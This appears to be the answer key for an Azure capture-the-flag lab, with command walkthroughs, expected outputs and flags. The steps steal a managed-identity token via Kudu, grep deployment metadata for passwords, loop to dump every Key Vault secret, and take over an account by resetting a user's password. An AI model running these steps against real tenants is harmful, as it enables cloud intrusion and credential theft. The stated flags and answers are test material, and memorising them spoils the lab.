finance-reporting-api

Detailed Solution:

Set the resource group:

RG= " rg-prod-apps-eastus "

List resources:

az resource list \

--resource-group " $RG " \

--output table

Expected output:

Name ResourceGroup Location Type

---------------------- --------------------- ---------- -------------------------------

finance-reporting-api rg-prod-apps-eastus eastus Microsoft.Web/sites

prod-reportstore01 rg-prod-apps-eastus eastus Microsoft.Storage/storageAccounts

kv-finance-prod rg-prod-apps-eastus eastus Microsoft.KeyVault/vaults

The exposed App Service is:

finance-reporting-api

================

Detailed Solution:

Query role assignments for the managed identity principal:

az role assignment list \

--assignee b72a4c19-92f6-47f3-b3dd-9db5a31831d1 \

--all \

--output table

Expected output:

Principal Role Scope

------------------------------------ ---------------------- ----------------------------------------------

b72a4c19-92f6-47f3-b3dd-9db5a31831d1 Key Vault Secrets User /subscriptions/.../resourceGroups/rg-prod-apps-eastus

The assigned role is:

Key Vault Secrets User

Azure RBAC role assignments can be granted to users, groups, service principals, and managed identities.

================

b72a4c19-92f6-47f3-b3dd-9db5a31831d1

Detailed Solution:

Run:

az webapp identity show \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Expected output:

{

" principalId " : " b72a4c19-92f6-47f3-b3dd-9db5a31831d1 " ,

" tenantId " : " 8f34c1de-1198-4c2a-b1a8-1eaa72f6e99a " ,

" type " : " SystemAssigned "

}

The principalId is the service principal object ID of the managed identity.

Microsoft documents that managed identities provide Azure-managed identities for applications and eliminate the need to manage application secrets directly.

================

The answer is the exposed provisioning secret retrieved from ARM deployment metadata, deployment operations, or App Service configuration. In this lab chain, it should reveal the next user credential, commonly for:

sumit.siddharth@azuresecops.onmicrosoft.com

Detailed Solution:

The key point is this: you are no longer only using Alex’s user permissions. You must use the Web App managed identity .

From the Web App runtime/Kudu console, request an access token for Azure Resource Manager.

For Linux-style shell:

curl " $IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df " \

-H " X-IDENTITY-HEADER: $IDENTITY_HEADER "

For Windows PowerShell inside Kudu:

$uri = " $env:IDENTITY_ENDPOINT?api-version=2019-08-01 & resource=https://management.azure.com/ & client_id=cf3664d4-5cec-4feb-b0ef-88b7958809df "

$response = Invoke-RestMethod -Uri $uri -Headers @{

" X-IDENTITY-HEADER " = $env:IDENTITY_HEADER

}

$token = $response.access_token

Now use the token to query Azure Resource Manager.

$sub = " 7403ec86-c39d-4d80-9efa-35c7580ecefa "

$rg = " Excalibur-Resources "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/resources?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Next, enumerate ARM deployments.

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

For each deployment name returned, inspect it:

$deploymentName = " < deployment-name > "

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Also check deployment operations:

Invoke-RestMethod `

-Uri " https://management.azure.com/subscriptions/$sub/resourceGroups/$rg/providers/Microsoft.Resources/deployments/$deploymentName/operations?api-version=2021-04-01 " `

-Headers @{ Authorization = " Bearer $token " }

Search the output for fields like:

password

secret

adminPassword

userPassword

credential

sumit

The exposed value is the answer to Q4.

A practical one-liner on Linux would be:

curl -s -H " Authorization: Bearer $TOKEN " \

" https://management.azure.com/subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.Resources/deployments/ < deployment-name > /operations?api-version=2021-04-01 " \

| jq ' .. | strings ' | grep -iE ' password|secret|credential|sumit|flag '

Final Answer:

Use the leaked secret/password value returned from the deployment metadata. Do not guess this; it is lab-generated.

================

Flag{app_settings_should_not_store_secrets}

Detailed Solution:

Query App Service settings:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--output json

Search for suspicious keys:

az webapp config appsettings list \

--name finance-reporting-api \

--resource-group rg-prod-apps-eastus \

--query " [?contains(name, ' FLAG ' ) || contains(name, ' Flag ' ) || contains(name, ' SECRET ' )] " \

--output table

Expected output:

Name SlotSetting Value

---------- ------------- ----------------------------------------

APP_FLAG False Flag{app_settings_should_not_store_secrets}

The flag is:

Flag{app_settings_should_not_store_secrets}

================

The answer is the final Flag{...} value stored in Azure Key Vault and readable by the compromised App Registration.

Detailed Solution:

Stay authenticated as the service principal from Q10.

az account show

List visible Key Vaults:

az keyvault list --output table

If only one vault is returned, use it directly. If multiple vaults exist, enumerate all of them.

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== $kv ===== "

az keyvault secret list \

--vault-name " $kv " \

--output table

done

Once you identify secret names, retrieve their values:

az keyvault secret show \

--vault-name < vault-name > \

--name < secret-name > \

--query value \

--output tsv

To dump all readable secrets from all visible vaults:

for kv in $(az keyvault list --query " [].name " -o tsv); do

echo " ===== Vault: $kv ===== "

for sec in $(az keyvault secret list --vault-name " $kv " --query " [].name " -o tsv); do

echo " ----- Secret: $sec ----- "

az keyvault secret show \

--vault-name " $kv " \

--name " $sec " \

--query value \

--output tsv

done

done

Look for the final value in this format:

Flag{...}

That returned secret value is the final tenant flag.

Final Answer:

Use the Flag{...} value returned by az keyvault secret show.

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Detailed Solution:

As the second compromised user, enumerate directory users:

az ad user list --output table

Use a cleaner query to show names, UPNs, and job titles:

az ad user list \

--query " [].{DisplayName:displayName,UPN:userPrincipalName,JobTitle:jobTitle} " \

--output table

You should identify a target user whose profile contains a flag in the jobTitle attribute.

The important target is:

lila.nguyen@azuresecops.onmicrosoft.com

Her jobTitle field contains:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

Because the compromised user has User Administrator, you can reset this target user’s password and later authenticate as her.

Final Answer:

Flag{92c8bfe4a73f48a6bd94e62fca2179dd}

================

Detailed Solution:

First identify the managed identity attached to the Web App.

az webapp identity show \

--name RnD-Tools \

--resource-group Excalibur-Resources \

--output json

You should see a user-assigned managed identity similar to:

{

" userAssignedIdentities " : {

" /subscriptions/7403ec86-c39d-4d80-9efa-35c7580ecefa/resourceGroups/Excalibur-Resources/providers/Microsoft.ManagedIdentity/userAssignedIdentities/WebAppTokenIdentity " : {

" clientId " : " cf3664d4-5cec-4feb-b0ef-88b7958809df " ,

" principalId " : " efe89e83-010f-42f6-9576-30531fa47af7 "

}

}

}

Now query the role assignments for the managed identity’s principal ID:

az role assignment list \

--assignee efe89e83-010f-42f6-9576-30531fa47af7 \

--all \

--output table

The returned custom role is:

AppService-Auditor

That makes option D correct.

Final Answer:

D. AppService-Auditor

================

Detailed Solution:

From Q7, you should recover a limited-access SAS token or storage access information.

Set the storage account name and SAS token:

ACCOUNT= " excaliburstore "

SAS= " < recovered-sas-token > "

List containers:

az storage container list \

--account-name " $ACCOUNT " \

--sas-token " $SAS " \

--output table

The available container is:

sensitive-files

You can also confirm directly:

az storage blob list \

--account-name " $ACCOUNT " \

--container-name sensitive-files \

--sas-token " $SAS " \

--output table

Final Answer:

C. sensitive-files

================
